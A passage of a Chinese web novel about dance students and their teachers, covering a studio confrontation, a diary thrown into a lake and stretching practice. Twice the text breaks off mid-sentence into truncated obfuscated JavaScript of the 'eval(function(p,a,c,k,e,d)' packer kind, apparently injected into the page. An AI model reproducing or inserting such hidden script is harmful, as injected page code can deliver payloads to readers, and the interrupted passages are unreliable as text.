自己……舍得脸面硬去参加为林晓希庆祝的晚餐,曾冲进练功房当着人家学生的面要拜老师,也曾抛满腔的优越感,叫林晓希帮自己练功。那本日记里,有自己全部的难过,思念,和不愿被他人勘破的软弱。那些小心翼翼的期盼和翻江倒海的思念,永远都只应该被自己压在心底,在人前……就让他保留最后一点点自尊吧。 ------------------------------------------------------------------- 分针刚刚转过几格,仿佛已经慢过几个世纪,晓希不自觉的瞟一眼墙上的挂钟,越发的难以专心起来。纵然清楚知道练舞就是要这般辛苦,可是彦承满头大汗艰难地捱着拆骨般的疼痛,自己说什么……也无法全情投入到舞蹈当中。 “晓希。” 孔爵摆摆手,叫他停下,“这么不走心的练,练多少次也是浪费时间,你歇会儿吧。” 晓希微微一怔,转念想着自己确实不在状态,便点点头,朝着彦承走去。这种时候,有个人陪着支持着,总归是好的。却不想自己才迈出一步就给孔爵哥的眼神制止住了,这表情丰富的学长看着自己一脸诧异,忙指指埋头在地上的小孩儿,又虚握着拳头在眼角蹭了蹭。晓希见状终于忍不住扯起嘴角,转过身偷偷笑了笑,本来心里格外沉重,却是被这为老不尊的学长给逗笑了。 彦承面子薄,孔爵哥是怕他红着眼眶,不想给人看见。晓希心里明白,却还是不顾拼命使着眼色的孔爵走了过去。彦承听见声音,茫然的抬起头。却见晓希微笑着在自己对面坐下,双脚一样搭在垫子上,然后压下身子,和自己四目相对。 “你干什么。。” 被这么目不转睛的盯着,彦承不禁红了脸,连忙侧过头不与他对视。可是下一秒,双手却是被人紧紧地握住。耳边,是情人一贯温柔的声音。“我小时候也常常这样压腿,我知道有多疼。所以我想陪着你,和你一起坚持过去。两个人讲讲笑话,就没那么难熬了。” 彦承抿着嘴,欲言又止,心里,也是五味陈杂。眼前殷殷忘着他的,就是他爱的人,这个人温柔、体贴,与自己有过哭哭笑笑,却也仿佛,同自己越行越远。 “晓希你……” 不过才说出三个字,彦承舔舔干涩的嘴唇,想着该如何措辞。谁想突然“砰”的一声响起,三人给惊得一震,纷纷抬起头来,原来是练功房的大门被人撞开。 “林晓希,孔爵在哪儿!” 随着这一声一个熟悉的人影闯了进来,看清房间里的三个人,不禁瞬间僵直在那里。 这人,正是陶乐钦。 27. 第27章 “陶乐钦?怎么了?” 晓希转身一骨碌站起来,眼前的陶乐钦,就那么一个人杵在偌大的练功房中央。胸口剧烈地起伏着,气息紊乱,却拼命保持着脸上的平静。半晌,他喉结轻动,“我找孔爵。” 孔爵站起身,彦承也连忙直起腰来,在晓希身影后蹭了蹭眼睛和满头大汗。 “不敲门地闯进屋来,打断别人的课堂,没有表示出任何歉意,哪怕是问个好。小田切的家教就是这样的?” 穿过半个练功房直直望着自己的目光如炬。不……并不如炬,远没有那样的灼热炽烈,从那深沉的眸子中射出来的,是寒如冰坚如铁的眼神,会冻伤割伤人。不知是因为跑步还是方才那一席话而红起来的脸,在意识到这一切后,退了热。陶乐钦几不可见地转开眼神,拒绝这样的对视,然而在一晃神间,他的目光透过林晓希,狠狠地盯住了那坐在地上的身影。 钟彦承,他认得的。萧泽的情人的亲弟弟,身体条件算得上不错,可是半路出家,没什么本事。如果不是仗着那层亲厚的关系,凭什么能是萧泽的学生,又凭什么——陶乐钦尽力不去看一旁的孔爵,无声的苦笑——又凭什么,能得到他的教导? “你能教他,凭什么不能教我?” 半晌的沉静被打破,陶乐钦倏地收回目光看向了孔爵,那凌厉的力道仿佛激的空气都猛烈地流动起来。 “我就算是不如林晓希,那这个钟彦承呢?总算强过他吧?这么点水平都可以,为什么我不行?”刻意压抑出来的平静终于一点点崩塌瓦解,越发激烈的话语将矛头直指彦承。 突如其来的无理挑衅惊得彦承一时愣在那里,下一秒,那些否定自己的评断像晴天旱雷一样在脑海中炸开,炸的周遭仿佛尽是白光,将他牢牢困住,看不见听不着。 原来,自己在他人眼里,就是如此的不济不堪。 同样被这状况打得手足无措的,还有林晓希。第一时间望向彦承,眼前的情人呆坐在原地,脸色发白,嘴唇不自觉的颤抖,显然是强自压抑汹涌的情绪。是真的被这话刺伤了吧,叫平日里点火就着的性子,这家伙早就已经和陶乐钦吵起来,甚至是扑上去动武也极有可能。可是现在…… 心里猛的一疼,晓希冲过去跪坐在情人面前,把陶乐钦和孔爵,哪怕是所有所有的伤害,都挡在了身后。 “还坐着干什么!”空旷的练功房里陡然而起的一声呵斥,晓希和彦承惊诧地抬起头,望着一脸严肃的孔爵,半晌没反应过来。 “我问你们愣着干什么!别人都说到头上来了,自己还不知道努力么?林晓希! 帮他压!” “我不!” 粗声恶气的一声吼,回声兀自还在房间里打着转。彦承死死盯着孔爵跟前的地面,无视身旁晓希偷偷地拉扯。就算跟着孔爵哥练功的时候被打骂成什么样子,也未曾这样斩钉截铁的叛逆过。可是现在,偏偏不行……为什么要在外人面前……让自己丢进了颜面。他不,他偏不…… 胶着的僵持把周遭的空气都燃高了几度,然而陶乐钦站在这中间,只觉得越来越冷。孔爵骂的越凶,钟彦承越是任性的顶嘴,他就越觉得,自己是个局外人。这就所谓的,自己家的孩子,自己怎么说都行,别人就半点说不得吧。 陶乐钦深吸一口气,再看向孔爵时,声音里,有掩不住的激动。“我今天来,本来是想找回我的日记。可是现在,我更想问问,你当初说的那些门槛,是不是只是说给我一个人听的。那个王思邈,除了听话,没有半点灵气,恐怕你教个动作也要比别人多练个几遍。钟彦承?条件是不错,可是半路出家,到现在也没练出个名堂。他们都行,为什么我就不行?你,就那么讨厌我。讨厌到……我已经为了你,没日没夜的练习那些愚蠢和枯燥的东西,都还是不行吗?我不懂!” 一直骄傲的,自信的,笃定的陶乐钦,从未有过这样的样子。林晓希忍不住回头望向他,心情复杂。求而不得的滋味,他很清楚。一直未能拜到学长门下的五年,他何尝没有问过无数个为什么。可是,只是因为求而不得,因为想不明白,就一定要说伤害别人的话吗?望着眼前因为拼命压抑而微微颤抖的情人,晓希再也无法保持沉默。“是,你是不懂!” 陶乐钦诧异的转过头,没想到陡然回应自己的,竟是那个一直没有做声的林晓希。 “你所有的练习,所有的努力,不是为了孔爵哥,不是为了任何人,是为了你自己。扎实的基本功和过硬的技术技巧,本来就是一个舞者的地基。就算是你知道的萧泽学长,每天也都要花两三个小时来巩固练习。如果你觉得愚蠢觉得无用,就不要练习,我以后……也不会再帮你。而且……” 晓希顿了顿,不确定自己是否真的看到那眼神中一纵即逝的受伤。 “而且你没有资格,说彦承和王思邈。你根本不知道他们的心酸,他们的努力,你没有半点发言权。” 有那么一瞬间,陶乐钦发觉自己也许是有些介意这些话的,毕竟这个林晓希啊……自己对他的感觉不管如何复杂,现在看起来,他似乎是自己唯一……算得上是朋友的人啊。更何况,那样用力的握着钟彦承的手拼命守护的样子,让他更加想念老师,想念曾经,也有个人对他如此关爱守护。 恍惚间眼前的光亮仿佛被挡住,陶乐钦定了定神,是孔爵不知何时已经走到他身前,心脏狂跳仿佛让他整个人都震起来,他不知道自己所能等到的,到底会是什么。 “陶乐钦,” 孔爵静静盯着眼前这乌黑的眸子,冰冷的语气里,夹杂着怒气。 “你和他们最大的不同,就是你根本不懂的尊重,不懂得尊重别人,也不懂得尊重舞蹈。一个连人都没学会怎么做的人,还学什么舞蹈!” 一字一句越发的激动,以至到了后来,竟变成了不留情面的训斥。孔爵从裤子后面口袋里拿出了陶乐钦的日记本,狠狠摔进了他怀里,“陶乐钦,你给我牢牢记住,我永远不会做你的老师。这本日记,我就是看了! 想找我算账,随时欢迎。现在!请你出去。” 修长的手臂扬起,食指直对着门口,陶乐钦死死攥着笔记本,终于爆发,“我一定要做你的学生,总会有一天,这句话你怎么说出来,就会咽怎么回去!” “你一定要做我的学生,是因为真的想?还是因为我不肯教你。”在少年转身离去的一瞬间,这一句话,淡然、冷静,仿佛圣贤对众生的无限怜悯,悄悄降落在陶乐钦身前,让他陡然定住。然而,下一秒钟,这背影的主人终于下定狠心,毫不迟疑的离开。 孔爵望着被甩的不断震颤的门,心中从未有过的的疲累。 然而房间终于归于平静,仿佛从来没有过一个不速之客,也仿佛一切都未曾发生过。晓希看着眼前依旧一言不发的彦承,心里百般心疼。可是除了紧紧握着他的手,竟不知该说些什么。 然而最先打破沉默的,永远是孔爵。没有给两个孩子过多的 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又是毫不留情的斥责,彦承咬着嘴唇赌气般的狠挣了几下,却始终像被钉住的虾米一样徒劳,终究无力的瘫在地上。可是不知怎么鼻子一酸,眼泪就扑簌簌的落下来,止也止不住。 “练练功就哭了,我看也不要学舞蹈,回去当钟少找八百个下人侍候你好不好!” “我不要!” “孔爵哥!” 一声是带着哭腔的任性,一声,是晓希情急之下的恳请。平日里,孔爵哥手狠口重,时而毫不留情的揶揄讽刺,却偏偏总能制住彦承。可这次………… “孔爵哥,我能和彦承单独呆一会儿吗?” 晓希期盼的眼神那样望着自己,能说不行么?孔爵站起身,几不可见地叹了口气;萧泽把两个孩子交给自己,可是这一个早上都闹了些什么! 练功房的门被轻轻关上,只剩下两人的房间里,隐秘的哽咽一点点变为啜泣,细碎的哭声也渐渐放肆了起来。晓希跪坐在彦承跟前,看着情人被汗湿的发丝,听着那一声声的哭泣,只觉得心如刀绞。有种要把整个人狠狠揽进怀里的冲动,只是举起双手,却又不敢触碰。承儿他,还愿意靠在自己怀里么? 不知道该如何劝慰,晓希只得小心翼翼去拉情人,想要帮他推开了脚下的垫子。 “承儿,起来……把腿放下来,就歇一阵好吗?你的努力……别人看不到,但我看得到,我都知道的,对不对?” 我们一起跟着学长练舞,每次力量你都多做那么多组……软开的时候,学长也压你压得最多。还有之前参加比赛,学长动了藤条,彦霖动了戒尺。还有还有……为了学长生日,我们一起练的朔风传……” 晓希拼命回忆着两人在一起的点点滴滴,直到眼前固执地要把脸埋起来的情人终于一点点抬起头来,满脸泪痕。只一瞬间,自己尘封的泪腺也突然被触动,眼前立刻就氤氲了起来。 “这一切,我们都是一起走过的啊……你受的苦,挨得累,偶尔发的小脾气,就算所有人都不知道,至少我知道,学长知道,彦霖哥孔爵哥我们都知道————” ! 一道身影在眼前闪过,晓希的话还没有说完,那满脸是泪的大男孩已经猛然撞进自己的怀抱。一瞬间的诧异,下一秒晓希狠狠收紧手臂,将情人死死地揽在怀中。一直隐而不发的伤心终于发作,彦承靠在情人的肩膀上,泣不成声。 “我疼……晓希……我心里疼……” 28. 第28章 舞校大院里的人工湖前,一直定定站着的陶乐钦猛地扬起手臂,那本深棕色羊皮的笔记本划出一道悲凉的弧线,砰地跌落在湖中。 不知道是如何让自己平复下那汹涌的情绪,只记得自己冲到这湖边,望着这平静的湖水发愣,一暮暮往事,来到中国后的种种,一一在眼前闪过,直到灼热的日头,已经转到了西边。 回忆也好,思念也罢,随着日记通通都抛掉!通通都不要了!就算这几年来如何自欺欺人,心底有个声音总会不时挑衅地说:不会的,老师不会回来的! 就算那么努力,那么拼命变得出色想要被注意到!也未曾得到来自老师的一丝音讯…… 那落到纸上的字字句句又有什么意义呢,那个人心里,也许从未有过自己。那么这些年来的幸运、坎坷、想要对老师说的种种……留着又有什么用,徒增奢望而已! 从今往后,不再痴心妄想,不再有不切实际的期待……他一个人,也可以活得很好。可以像从前跟着神崎老师那样,留在首都舞院,上课、练功,做个标版的好学生…… 陶乐钦颓败地靠在身后的树上,远处湖中的纸页,一点点浸湿,一点点下沉,一点点淹没过往的所有,也仿佛一点点淹没胸腔中仅存的空气…… 湖面上,仿佛只剩下棕色的一角,肉眼难辨。陶乐钦怔怔望着那最后的一角,内心,也仿佛溺了水般难受。他突然发了疯地冲进湖里,顾不得脏污地死水奋力游向已经彻底沉没的日记。 不可以的。怎么可以丢掉,怎么舍得丢掉呢?老师心里是有我的,一定有的! 他没有回来,一定有不得已的理由,就如他当初不得不离开一样。那个用一双温暖的大手把狠狠跌倒的自己稳稳拉起来的人,怎么会永远忘了他呢。 无视漫到口鼻的水腥味,慌乱地在水中摸索,指尖终于碰到吼吼的羊皮书面,便发现宝物一样的抓起来,高高的举离水面。他不能把这一切都丢弃! 陶乐钦护着日记奋力爬上了岸,一下子扑到岸边平整的大石头前,颤抖着十指摊开了书页。可是,满眼都是氤氲的水笔色,辨认不出一丝字迹。不会的……不会的…… 没有完全浸透,还会剩下什么的!晾干了就好了……太阳,太阳呢?挪开身子在让太阳照在润湿的纸页上,期望那一点点阳光,能晒干纸页,温暖自己冰凉的心…… 那一日的午后,是浑身湿透的少年,跪坐在大石前,不顾路人诧异地指指点点,一边小心翼翼地翻着柔软脆弱的纸页,一边喃喃自语。末了,终于将笔记本紧紧抱在胸前,深深地埋下头。 老师走后的无数个日子里,第一次,他哭了。 就算等不到老师回来,就算做不成孔爵的学生,就算自己从今往后都是孤身一人。是不是至少还有从前思念的每个日夜里落下的笔触给自己安慰?可惜,连这最后的抚慰,也被自己夺走了。满纸的墨色,有如蜡染过的白布,什么都没有剩下,只有黑暗中斑驳蔓延的空白。 其实,他没有那么喜欢一个人独处。独立优秀的伪装,是保护自己的外壳。努力地适应一个人,努力地变得优秀再优秀……因为他怕再没有一个人能像老师一样,就算窥探到了最脆弱最不堪的自己,也不曾嫌弃,倾心扶持。 可是一个人,会苦,会累,会冷,会寂寞。他怀念曾有个人笃定地说,从今往后跟着我学舞;他怀念自己完美地呈现后那个人偏要遮掩住满眼的赞赏怕自己骄傲自满;他怀念自己抵触不肯练基本功时老师黑着脸逼他妥协……他怀念……自己能叫他老师,他严厉的面容下存着满满的、父爱一般的关怀的时候…… ------------------------------------------------------------- 日头西沉,学长载了彦承回家,孔爵哥去火车站接思思,空荡荡的练功房里只剩下自己。晓希坐在把干旁,用绷带紧紧缠住酸痛的脚踝,上午的场景还历历在目。 环抱着自己的手臂收的很紧,除却最初的几声痛哭,怀里的人再没弄出什么大动静,然而越是那般拼命隐忍下的轻声抽噎,越是让人心如刀绞…… 后来,陪着他聊了很久。从一开始如何心心念念琢磨着点子跟萧泽哥学舞,到开始学舞后有苦有泪的点点滴滴,再到如今受到的诸多质疑。这许多许多,彦承慢慢地说,晓希细细地听。末了,晓希也会挑拣些自己的事情说,彦承听过的没听过的,模模糊糊本来都不记得,可是一丝丝回忆起来,好像又说不完。直到小家伙终于渐渐抛却开悲伤的情绪,一点点振作,连日来的误会和生疏也终于冰解。 绷带一圈圈紧紧地缠住,将末端撕开两半打了个结。许是勒的太紧,晓希不经意皱起眉头。 “不要想太多,回了家就好好吃饭,好好睡觉。” 临回家的时候,他帮彦承收拾好背包,忍不住又多嘱咐几句。可是忘不了柔和的日光下,承儿听了自己的话,点点头,然后轻声地说,“还要好好练功。” 这根刺扎的太深,就算用了那么久将它轻轻拔出,那伤,总还要一阵子才能好。满腔只剩浓浓的心疼,晓希不知该说什么,只是紧紧握着情人的手臂,无声的安慰。没想到还是小家伙大方地回握住自己的手,操着有些干哑的嗓子说,“别担心!我答应了你要放宽心往前看,也答应了萧泽哥明年一定考得上舞校。这军令状都立下了,还不得破釜沉舟一回。” 嘴角还是同平时咧的一般开,那语气也大大咧咧的与往常无异,可是这么听着看着,总是那么不是滋味。 泛着浓郁药香气的跌打酒立在手边,是来上夏季课的时候从家里带过来的。自己平时想不起来用,从学长拿给自己到现在,只用了小半瓶。晓希将这玻璃瓶拿在手里,突然想起自己也曾送过一瓶给陶乐钦。 陶乐钦…… 晓希忍不住皱起眉,虽然伤害了彦承,也把孔爵哥气的不轻,可是他自己……恐怕也没那么好过吧。有些话,说出来总是伤人伤几的。可是孔爵哥向来豁达,凡事看得开;承儿有自己,更有学长和彦霖哥,可是那个人…… 这会儿,又会在哪里独自疗伤呢? ------------------------------------------------------------------ 萧泽同往常一样,伸手帮不长记性的小孩儿把冷气调回二十度以上,顺着门缝听见少年均匀悠长的呼吸声,才放心的关上门回房。拿出一本还未读完的书,靠在床头,借着头顶的读书灯继续品读。这几年来,彦霖有应酬晚归的日子,萧泽总习惯了这般等待。可是今夜,似乎心不静呢。一段段话从头读到尾,却好像没读过一般,竟然不记得讲了什么。萧泽放下书,无奈地捏了捏眉头,床头柜上的手机却突然震动了起来。 “孔爵哥?这么晚还没睡?” “嗯。思思今天回来,有点兴奋又有点想家,又闹着练晚功,折腾到现在才睡。” 一向硬朗风趣惯了的声音带了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧泽狠狠心,还是张了嘴,“团里演员不够,让陈老师的舞剧先挑,挑剩下的,有几个,算几个。至于场地,两个大排练厅我都不占用。团里不是有个旧礼堂吗,打扫打扫也能用的。条件艰苦点,我们都能克服。可是舞剧的排演……不能停。” 团里的老领导听了这话脸都气的发绿,差不离要指着萧泽的鼻子骂了。 “现在的年轻人,怎么功利心这么重,公私不分,连点主次都没有了。自己的利益就一点割让不得了?”萧泽不反驳,领导们说什么都一一听了,可是他的底线,一步也不能退让。不抢演员,不抢场地,不耽误正事儿,团里说不出拒绝的理由。吹胡子瞪眼言语批评都好,最后也只得点头。 楼下传来开门的声音,是彦霖回来了。萧泽从白天的回忆中睁开眼睛,想起老顽固们的一场恶战,只剩苦笑。无论过程如何,只要结果是好的,就很好。 “还没睡?”彦霖轻手轻脚的推门进来,带着淡淡地酒气。明知道爱人一定会等自己,却还是忍不住问了一句。萧泽轻声应了,下床去洗手间帮他准备淋雨。而后,身后的酒气渐渐近了,下一秒,后背靠在温暖的胸膛上,爱人的下巴,抵在了肩头,“晚上想没想我?” 喝了酒,就更像个大孩子了。萧泽“切”了一声耸了耸肩肩头,将大孩子抖了下去,“想你一身酒气的熏死我?快洗了澡,不洗干净不许上床。” “也好。” 彦霖立刻扒下沾了酒气的外衣,萧泽转身帮他去拿睡衣,却突然被人从后揽住腰,一个重心不稳向后倒去。 “唔~~~啊!”踉跄了几步正好倒进了淋浴间,自己也一下子撞在情人宽厚的胸膛。你! 温热的水柱从头顶砸下来,连这一身睡衣都淋湿透。萧泽眯着被热水冲的睁不开的眼睛,不禁气结,一拳重重擂在彦霖胸口,见他夸张地叫着痛,总算出了口恶气,也再忍不住,笑出声来。 29. 第29章 收件箱里是清一水的广告邮件,孔爵移动着食指,光标沿着一排邮件爬升到顶端,熟悉的收件人地址旁显眼的99+昭示了多年来那个人的杳无音讯。想念、担忧、愤怒、心寒,小叔叔离开后的千万种情绪,到最终,都化作几年来一封又一封的牢骚倾诉。 孔爵同往常一样点开新建邮件,望着空白页上闪动着的光标,突然就没了说些什么的欲望……这许多年走过来,自己已不再是当年的愣头小子,每每遇到不如意的事情,无论人前怎样豁达潇洒,夜深人静之时,总不免与是长辈亦是朋友的小叔叔唠叨几句。即便未曾得到一丝回应,可是多年相处,仿佛猜得到小叔叔会如何冷着脸说这根本不算是事儿,或是深深望着自己,厚重的积威便能压的自己不敢自怨自艾。再后来,能让孔爵心思烦乱的事情并不多了,挂心的,不过是家人、几个交好的朋友,几个看好的后辈;却已经改不了不时会和小叔叔聊聊的习惯。 “海言兄,你这一走也是七个年头了。这几年,我也再没和谁发过火,再没大声骂过人。可是今天,偏有人激了我一肚子火。你说,我是不是越活越回去了。那小子……曾有个老师,说起来奇怪,我总觉得很像你。可是怎么可能呢?” 鼠标轻击,屏幕上显出发送成功几个字。孔爵长叹一口气,合上电脑放到一旁。想到白天的一幕幕,便忍不住仰面靠在床头。 着实可恨!哪怕心里对别人,对舞蹈又一点尊重,也说不出这样的话,做不出这样的事!可是……闭上眼睛,脑海中又浮现出日记本上的字字句句。那样不管对方收不收得到都坚持写下去的惯性和执着,竟然和他……有几分相像。还有今天那孩子转身离去的背影,好像是真的带着些许落寞。他是伤害了许多人,可是自己,到底是不是也伤害了他呢? 一阵微风袭来,床垫轻颤了几下。孔爵侧过头,身旁熟睡的小家伙正把身子蜷成个团,显然是被凉风吹得有些冷了。哼……头发也不知道擦干了就睡。孔爵轻笑一声,扯过一旁薄薄的毯子给他盖上。望着小孩儿恬静的睡颜,忍不住伸手替他拨弄滚乱了的刘海。 思思的航班晚上才到首都机场,十几个小时的飞机再加上时差,本是疲惫不堪,可是小家伙一上车就给自己承认错误。说是自己偷懒了,这几天来都没有好练功。思思本来只跟孔爵要了三天假,可是爸妈这几年在国外打拼出一小块事业,便要带着自己出国玩玩。好在老师宽容,批了自己多些日子,可是一下子耽误了两周,自己在外面也没有好好练功…… 小家伙在车上坐的端正,还无意的朝自己这边扭着。皱着小脸满眼的诚恳愧疚,恨不得车上立刻有个洞给他钻进去。孔爵点头听着,倒是不以为意。小孩子放假,本来就是该好好放松。将思思送到他爸妈手上,也早料到这些了。还是孩子,暑假撒丫子放开了玩,总是难免的。可小家伙却是愧疚的很,一到家就要冲去练功房把功补回来,孔爵好说歹说把他硬拉了回来。练功也不差这一晚上,休息不好影响了接下来几天的状态,反而得不偿失了。小孩儿知道老师说的有理,总算不再坚持。收拾好东西本想洗个澡,洗手间的花洒却突然坏了,孔爵便叫他来自己房间洗澡。 大半夜的无处叫修理工,趁着思思洗澡的功夫孔爵本想自己去修修。可惜他真的不是做这一行的料,鼓弄了半天,喷头没修好,自己却淋湿了大半。思思披着大浴袍从洗手间出来,就正撞见老师脱下半湿的T恤,露出强健的上身来。 半月没见……其实有点想老师了呢。 孔爵也要去冲个凉,见小家伙没有要回去睡觉的意思,知道他有一肚子话想说。毕竟,抛却开练功的事,这孩子其实还沉浸在两周来愉快的旅行中呢。孔爵笑着扯了扯思思的耳朵,叫他自己去厨房热杯牛奶,边喝边等着。谁想自己速速冲个凉出来,这家伙已经倚着枕头睡着了。 许是脸上被拨弄得有些痒,思思抓了抓额头,一个翻身又把毯子压在了身下。孔爵望着他屈起来骑着毯子的小腿,不禁无奈地摇摇头,明明和晓希和承儿只差个一两岁,怎么就觉得那两个已经是大孩子了,自己身边的这个,却是个没长大的小孩儿。 可是这个小孩儿回来了,连日来总觉得空荡荡的房间仿佛活络了不少。孔爵不自觉扬起嘴角,小心翼翼的扯出毯子重新给他盖上。关了灯,仰面躺在床上,清风阵阵袭来,吹散了暑日的燥热。身边是小孩儿疲累了一天后深沉的呼吸,可是向来沾枕头就着的孔爵却少有的没了睡意。翻来覆去脑海里尽是些从前不会想,或者已经不再想的事情——比如说小叔叔为什么一走这么多年,他到底去了哪里。比如说陶乐钦。其实也是个孩子,自己对他,是不是过分了?如果是萧泽,一定不会这么做。如果是小叔叔,他又会怎么做? 辗转反侧。 孔爵没有设闹钟的习惯,一觉睡醒,便知道今天晚了。伸手摸过床头柜上的闹钟,透过只能眯开一条缝的眼睛模模糊糊地看见,果然,七点四十。 “呵。看来强大的生物钟还比不过睡眠不足啊。” 孔爵揉按了两下酸涩的眼睛,一个翻身坐起来。身边的床已经空了,只剩下叠的整整齐齐的毯子。想也知道小家伙满心的不安,孔爵便故意慢悠悠地刷牙洗脸冲了个凉。待洗漱好一走出卧室,迎面就扑来早餐的味道。绕到餐厅,果然桌上摆着香粥花卷和现炒的几样咸菜,孔爵忍不住微微一笑,还是个孩子,这点小心思谁还看不出来。 为了不辜负小家伙一大早的忙碌,孔爵坐下香喷喷地吃了一顿,甚至还比平时多喝了碗粥。如此又磨蹭了半晌,看看表,已经八点十五,孔爵便起身去看看小家伙。 一步步走近练功房,悠扬舒缓的乐声便一点点清晰起来。孔爵悄无声息地在门口看着,把干旁的思思正一心一意地坐着热身。动作一板一眼,舒展顺畅,不见半月来未曾练习的生疏。虽然放任小孩沉浸在怕自己退步而惹老师生气的恐慌里,孔爵心里却是有底的很。思思从小练舞,多年的功底沉淀至深。已经刻在骨子里的熟练,不那么容易忘记。 五位脚的grand plie,站直,然后接起releve,双手是七位的Arabesque.却不知怎么的,小孩的身形竟然微微晃动,站不稳了。 “中腰立起来! 收紧屁股和内侧胯!” 孔爵及时提醒。 然思思却给这背后突如其来的声音吓得一激灵,条件反射地绷紧全身,好在最后还是将将找回了平衡。可是老师的到来让练功房的气氛瞬间冷掉了几分,思思僵硬地落回脚跟,脑子突然一片空白,忘记了下面的动作。从没想过这几乎快要成为条件反射的热身也能被突然忘记,思思不知所措地站在原地。眼看着老师已经走到旁边,脑袋却是越着急越是空白,背上顷刻就渗出了一层冷汗。 “大——四——位——。这也能忘! ” 孔爵黑着脸又给小孩儿提了个醒,见他哆哆嗦嗦的迈步压下身子,不禁一阵无奈,真搞不懂这是紧张个什么。 接下来的二十分钟,孔爵索性绞着手臂站在一旁,仿佛带了刺的目光上下打量着王思邈,把他看的背后发毛。连续半个小时不停的动作并不轻松,一套热身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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一双大手附在自己腰胯间,温暖的触感特别熟悉。感觉大手把自己往后拉了拉,思思知道自己又是不自觉的往前冲了。俯身压胯的时候,稍稍往前蹭一点,就会轻松许多。这是小时候大家都会的偷懒方法,可是现在他没有想偷懒,生怕老师不高兴,思思长长地呼出一口气,更加努力的放松。可是随着老师的力道一点点增加,他能感觉到拉伸的痛楚越来越明显。 左右两边是各三个垫子,孔爵压着思思一点点向下。眼前的小孩只穿着背心短裤,露出白净又纤细的四肢。两腿直直地打开,膝盖和脚尖绷得紧紧的,双臂贴在耳侧向前延伸,腹部以上也服帖在趴在地上,从背上看得出肌肉和肩胛骨的线条。 孔爵不禁看了看手下,小孩儿的屁股上也没有几两肉,自己一双手扶在上面就仿佛都能盖得住。一手摸着他胯根,一手接着向下压。思思的筋骨,远没有承儿那强健而有爆发力,也不如晓希那样修长而有韧性,就是那么软软的,细细的,仿佛是拉伸的狠了就能给抻断似的。 一直向下的势头突然滞涩了一下,孔爵猛地回过神,暗恨自己怎能在这个时候走神。很明显,小孩儿忍不住疼绷着不敢向下,可是还没待自己说什么,这副身体又陡然放松,软下来不少。如此反复了几次,孔爵终于品出来思思是自己在跟自己作斗争。这样的孩子让人可怜又可爱,孔爵安抚地拍了拍小孩的屁股,在他再次软下来的瞬间缓缓加力。手下的身子终于不自觉地颤抖起来,闷在地上的呼吸声,也渐渐变得急促和沉重。直到胯间离地面还不到五公分的时候,小孩儿突然紧紧地绷住。孔爵心中一凛,连忙卸了力道,好在没有拉伤。 “肌肉极度拉伸的时候还硬要使力绷住,那不是奔着拉伤去的么。要是真下决心努力把落下的补回来,就豁出去这个疼,别软一下紧一下的。” 老师的声音就这么在耳边响起。思思额头抵着地面,不愿意给老师看见自己拼命忍痛纠结的表情。可是今天的老师,和平时很不一样。要是平日里,老师要么是拧着眉头训人,要么是扬着眉毛不痛不痒地揶揄几句,哪一样都能让自己一阵心惊。可是今天总觉得老师似乎是有些累了,虽然也是数落自己,可是比平时唠叨了许多,也第一次听得出来,老师给他压腿的时候,其实也心疼的。 30. 第30章 “你的柚子汁。”早餐都已经摆上桌,萧泽把鲜榨的柚子汁递给情人,彦霖折起手中的华尔街日报,揽住他肩膀在面颊落下一个吻,“谢谢,不过今天怎么做西式早餐了?” 萧泽抿嘴一笑,“天天吃清粥白菜豆浆油条,你不腻孩子也腻了。” 彦霖闻言点点头,“也是。承儿怎么样?心情好点了吗?”昨晚回来萧泽和他说了白天的事儿,彦霖嘴上说着男孩子多经历点没什么,心里却是浓浓的心疼。学舞之前,他这个弟弟三分学习七分玩闹,论学业在年级里算领先,论家世也不比别人差,又有他和萧泽疼宠着,什么时候受过这样的委屈。可是,自从这小子开始学舞,挨了多少打罚且不说,时时伴随左右的挫败感,成绩不尽如人意的压力 可是,谁叫他偏要去走这么一条不容易的路呢?当中的艰辛无论有多难过,做哥哥的不管有多心疼,也只能尽心鼓励支持。 说话间楼梯响起砰砰的脚步声,彦霖方抬起头,弟弟已经带着一身水汽做到餐桌前。 “干什么累成这样?再使点劲儿楼梯都给你跺塌了。 ” 彦承正端起牛奶喝了一大口,听见哥哥数落不禁不好意思地笑笑;晨练完又洗了个澡,他真是一点力气都没有了。 “哥你今天怎么没急着上班。” 抓起萧泽哥做的美味三明治,彦承毫不犹豫地大咬了一口,还不忘含糊不清地和哥哥搭话。今天自己起晚了些,晨练和早饭都推迟了,照平时哥哥已经急着去公司了才对。彦霖自然没说是因为担心弟弟的情绪,只推说公司不忙。一顿早饭吃的愉悦,席间三人聊着天,彦承也像往常一样开着玩笑,彦霖猜想有晓希和萧泽开导,小家伙应该想开许多,自己一颗心,也总算放了下来。 饭后萧泽要外出办事,便交代了承儿上午先自己在家练功,自己则同彦霖一起出门。一走出门口,彦霖不禁长舒了一口气。 “养儿方知父母恩,有时间,我们一起去爱尔兰看看萧叔和董姨。” 望着情人淡淡地黑眼圈,萧泽点头应了,“嗯,忙完这阵就去。” 谁能想到面对商场上的阴谋倾轧都能安眠的情人,却因为弟弟的心事,整晚失眠呢? 同彦霖告别,萧泽驱车朝市区舞院旁的咖啡厅驶去,新舞剧的事,还是要跟大伙交代一番。走进咖啡厅,两个年轻人已经等在那里,舞院编导系应届毕业生,一个叫张凡,一个叫何家齐,新舞剧最初的原型,就是两个人的构思。 “学长!” 看着萧泽来了,两个人连忙起身,可是还没来得及打招呼,就见另一个人追着学长的脚步进了咖啡厅。定睛一看,两人不禁张大了嘴愣了在那里, “孔孔学长?” 萧泽闻言回过头,果见是孔爵,不禁莞尔一笑,“时间刚刚好,来,坐下一起说。” 伴着两个毕业生的震惊,孔爵和萧泽依次落座,各自点了咖啡。张凡和何家齐望着眼前两个神级学长,心情澎湃的难以言喻。他们也算是系里的尖子,才在从前的活动中得见孔爵两次,和萧学长虽算认识,但讨论舞剧之前也不算熟。如今能和他们坐在一起共同商讨,两人双手捧着咖啡激动地不知该说什么,只直着眼睛地在两位学长间看来看去。孔爵见状不觉好笑,抄着汤匙轻磕了几下盘子,“喂喂!再看眼珠子都飞出来了!” “呃对不起!” 